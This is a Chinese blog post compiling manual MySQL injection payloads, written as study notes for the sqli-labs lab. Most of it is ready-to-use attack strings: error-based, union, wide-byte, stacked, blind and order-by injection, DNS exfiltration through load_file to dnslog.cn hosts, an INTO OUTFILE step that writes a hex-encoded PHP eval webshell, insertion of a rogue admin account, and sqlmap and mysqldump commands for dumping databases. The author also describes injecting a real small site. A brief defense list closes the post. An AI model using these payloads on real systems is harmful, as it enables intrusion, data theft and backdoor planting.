mysql 结束符报错_Mysql手工注入小结

前言

实习电话面的时候，问到了sql注入的利用，我扒拉扒拉一大堆，结果脑子一抽，说Mysql注入不支持堆叠注入

我学安全目前最后悔的事情就是，最开始入门的时候，连数据库这门课都没开始学，当时连最基本的sql查询都搞不懂，一上来就去做sqli-labs靶场，对着教程复现，蹭蹭蹭做完一百多关，啥印象都没有，记录的笔记七零八落，连做的笔记都看不懂，现在打算重新出发，巩固所学内容。

漏洞环境：

环境：win7 + phpstudy + sqli-labs

部分数据库数据：

基础学习：

当mysql版本大于5.0时，存在默认系统数据库 information_schema ，该数据库保存了MySQL服务器所有数据库的信息。如数据库名，数据库的表，数据表的列 表栏的数据类型与访问权限等

常见表名及相应的字段：

information_schema.schemata #Mysql里的所有数据库库名

information_schema.tables #Mysql某数据库下面的所有表名

information_schema.columns #Mysql某数据库某数据表下面的列名

schema_name #Mysql查询数据库information_schema.schemata库名时候的列名

table_name #Mysql查询数据库information_schema.tables表名时候的列名

column_name #Mysql查询数据库information_columns.column表名时候的列名

该数据库拥有⼀个名为 tables 的数据表，该表包含两个字段 table_name 和 table_schema，分别记录 DBMS 中的存储的表名和表名所在的数据库

常见全局变量：

user() #获取当前数据库用户名

@@version #获取当前数据库版本

@@HOSTNAME #获取计算机名称

@@BASEDIR #获取mysql安装路径

@@version_compile_os #获取目标操作系统类型

报错注入：

报错注入原理：

当在⼀个聚合函数，比如count函数后面如果使用分组语句就会把查询的⼀部分以错误的形式显示

利用函数：

Rand() //随机函数

Floor() //取整函数

Count() //聚合函数

Group by key //分组语句

floor()语句报错原理：

利⽤floor(),count(),group() by冲突报错，当这三个函数在特定情况⼀起使⽤产⽣的 错误

extractvalue注⼊的原理：

依旧如同updatexml⼀样，extract的第⼆个参数要求是xpath格式字符串，⽽我们输⼊的并不是。所以报错

报错注入常用函数：

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

# 获取当前数据库版本

id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

# 获取登录数据库用户名

id=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))#

获取当前数据库名：

id=1' or updatexml(1,concat(0x7e,database(),0x7e),1)-- -

获取当前数据库表名：

id=1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#

获取当前数据库所有表名：

id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))#

获得user表所有列名：

id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e))#

获取相应数据：

id=1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 0,1) as a),0x7e))#

# 获取下一条数据，以此类推

id=1' and extractvalue(1,concat(0x7e,(select * from (select username from users limit 1,1) as a),0x7e))#

这里有个问题，就是通过xpath报错最多只显示32位字符，而很多时候数据库密码至少都是32位加密的，也就是爆出来的数据不完整，之前发现一处小站点的sql注入就是这种情况：

后台登录界面，风格还有点小可爱：

后端简单的过滤了select、from、where、=等关键字，简单大小写绕过及like绕过即可

目标为阿里云，sqlmap一跑就被封，听说可以用阿里云跑，可惜我用的是华为云，都怪当时阿里云不认可我的学生认证，渣男！

这个时候我们就需要用到 mid 函数来进行字符串截取操作来爆出后面的字符串

使用 mid 函数我们就可以使用这个语句来得到后面的字符串值

mid() 函数语法格式：

mid(str,start,[length])

str:截取的字符串

start:起始位置

length:截取的长度，可以忽略

联合注入：

判断字段数：

id=1' order by 3#

确定回显处：

id=0' union select 1,database(),@@version#

id=0' union select 1,updatexml(1,concat(0x7e,(select database())),1),3#

获取当前数据库名及表名：

id=0' union select 1,table_name,table_schema from information_schema.tables where table_schema=database()#

获取当前数据库表名：

id=0' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),3#

获取当前数据库所有表名：

id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3#

获取某数据表所有列名：

id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'#

获取数据：

id=0' union select 1,id,email_id from emails#

获取所有数据：

id=0' union select 1,2,group_concat(concat(id,'|',username,'|',password)) from users#

id=0' union select 1,group_concat(username),group_concat(password) from users where '1'='1

id=0' union select 1,group_concat(username,password),3 from users where '1'='1

宽字节注入：

防御原理：传入单引号会被转义符(反斜线)转义，导致参数id无法逃逸单引号的包围。

漏洞原理：

mysql 在使用GBK 编码的时候，会认为两个字符为一个汉字(其他编码形式则认为不存在sql漏洞)，而在过滤’的时候，往往利用的思路是将‘ 转换为\’。urlencode(\‘) = %5c%27，我们在%5c%27 前面添加%df，形成%df%5c%27。在GBK编码中，%df%5c是繁体字運，这时单引号成功逃逸。

另外，由于单引号被转义，所以用常用的sql语句查数据库表名会出错，此时要用到嵌套查询

编码格式的逃逸，利用不同编码格式占用的字节宽度不同，构造payload使得单引号或其他符号的逃逸，导致语句的闭合，然后就可以构造payload查询数据库的数据

在数据库使用了宽字符集而WEB中没考虑这个问题的情况下，在WEB层，由于0XBF27是两个字符，在PHP中比如addslash和magic_quotes_gpc开启时，由于会对0x27单引号进行转义，因此0xbf27会变成0xbf5c27,而数据进入数据库中时，由于0XBF5C是一个另外的字符，因此\转义符号会被前面的bf带着"吃掉"，单引号由此逃逸出来可以用来闭合语句

获取当前表名：

id=admin%df' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1),0x7e),1)#

获取所有表名：

id=0%df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=(select database())),3#

获取所有列名：

id=0%df' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)),3#

而post型的宽字节注入，有个问题要注意：

当我们在输入框输入相关payload时，提交参数之后，浏览器会对%df中的%进行编码为%25，从而使我们的恶意payload失效。

方法一：抓包修改成正确的payload，把%25重新修改为%

方法二：我们可以将UTF-8转换为UTF-16或者UTF-32,例如将'转换为utf-16为： �'。我们可以利用这一点注入

万能密码绕过：

username:�'or 1=1#

password:随意

获取当前所有表名：

username:1%FE' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

password:1%FE' or 1=1#

堆叠注入：

原理：

多条SQL语句一起执行

一条SQL语句以;结束，我们可以在结束符后面继续构造下一条SQL语句，这样它们会一起执行

局限性：

1、堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到 API或者数据库引擎 不支持的限制，此外，在权限不足的情况也不能成功执行

2、虽然堆叠查询可以执行任意的 sql 语句，但是页面一般只能显示前一条语句执行结果，第二条语句我们无法得知它是否执行成功，第二个语句产生错误或者结果只能被忽略

在实战中的利用想法：

找到管理员所在的数据表，添加新的管理员用户和密码

id=1';insert into users(id,username,password) values(666,'book4yi','book4yi')#

可以看到成功插入数据

利用DNS实现SQL注入带外查询:

当我们发现一个站点存在一个没有数据回显的注入点进行注入时，只能采取盲注，这种注入效率非常低，而且容易被Ban，这时我们就可以利用DNSlog来快速的获取数据

利用条件：

1、windows系统环境

2、需要当前数据库用户有读权限及secure-file-priv为空

3、DBMS中需要有可用的，能直接或间接引发DNS解析过程的子程序，即使用到UNC

这里我们利用dnslog或者ceyo实现外带盲注回显

id=1' and load_file(concat('\\\\',(select hex(database())),'.xqvzsf.dnslog.cn\\test'))#

id=0' union select 1,2,load_file(concat('\\\\',(select hex(database())),'.xceeup.dnslog.cn\\test'))#

该payload拼接起来后就成了\security.xqvzsf.dnslog.cn\test完全符合UNC的路径标准，解析后在DNSlog平台就能看到数据了

这里需要用到hex函数，因为构造UNC时不能有特殊符号，转化一下更好用

注意：虽然使用hex()可以解决UNC特殊字符的问题，但是UNC的长度也不能超过128

将十六进制值转化为字符串，得到数据库名：

当然，

UNC定义

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器.。UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。UNC路径就是类似\softer这样的形式的网络路径

格式： \servername\sharename ，其中 servername 是服务器名，sharename 是共享资源的名称。

目录或文件的 UNC 名称可以包括共享名称下的目录路径，格式为：\servername\sharename\directory\filename

二次注入：

原理：

攻击者构造的恶意payload首先会被服务器存储在数据库中，在之后取出数据库在进行SQL语句拼接时产生的SQL注入问题

举个例子：

比如1.php页面的功能是注册用户，2.php是通过参数id读取用户名和用户信息

假设我们注册用户名：test'，那么通过2.php读取用户名时才会发生报错等行为(多了一个单引号引起的语法错误)，从而产生二次注入

order by 注入：

sql语句形如：

$sql = "SELECT * FROM users ORDER BY $id";

通过查询mysql帮助文档，了解如何利用order by 注入点：

这时可以通过升降排序判断是否存在注入：

id=1 desc

id=1 asc

获取用户名：

# 利用报错注入

id=(select count(*) from information_schema.columns group by concat(0x5c,(select user()),0x5c,floor(rand()*2)) limit 0,1)

id=1 and extractvalue(1,concat(0x7e,user()))#

# 利用基于布尔的盲注：

# 利用原理：id=rand(true)# 与?id=rand(false)# 页面显示不一样

id=rand(ascii(substr((user()),1,1))>64)#

# 利用基于时间的盲注：

id=1 and (if((ascii(substr((select user() limit 0,1),1,1))=115),sleep(5),1))

id=1 and if(ascii(substr(database(),1,1))=118,0,sleep(5))

插入一句话木马至网站根目录：

id=1 into outfile "D:/phpstudy_pro/WWW/insert.php" lines terminated by 0x3C3F70687020406576616C28245F504F53545B706173735D293B3F3E

id=1 into outfile "d:/1.txt" #将本要输出的内容导出到1.txt

快速定位重要数据表:

渗透中总是有一些大型的数据库，一个数据库中有几百个表，一个一个看脑壳疼。

sqlmap有一个参数 --search ，可以用来搜索列、表或数据库名称：

--search -D：搜索某个数据库

--search -T：搜索某个表名

--search -C：搜索某个字段名

大数据表脱裤：

直接使用sqlmap：

python sqlmap.py -u "http://127.0.0.1/index.php?id=1" --dump -D sqlinject -T admin -C "id,username,password"

脱整个表：

python sqlmap.py -u "http://127.0.0.1/index.php?id=1" -D users --dump-all

手动脱裤：

使用mysql自带的mysqldump，如果是站库分离可以自己传一个mysqldump上去指定 -h 参数即可。mysqldump是没有依赖的，单exe就能运行，直接拖sql文件比一点一点拖快得多。

mssql的话直接拖mdf，或者osql命令

防御手段：

单引号闭合可控变量，并进行相应的转义处理

尽量使用预编译来执行SQL语句

采用白名单机制/完善黑名单

安装WAF防护软件

拒绝不安全的编码转换，尽量统一编码

关闭错误提示

参考如下：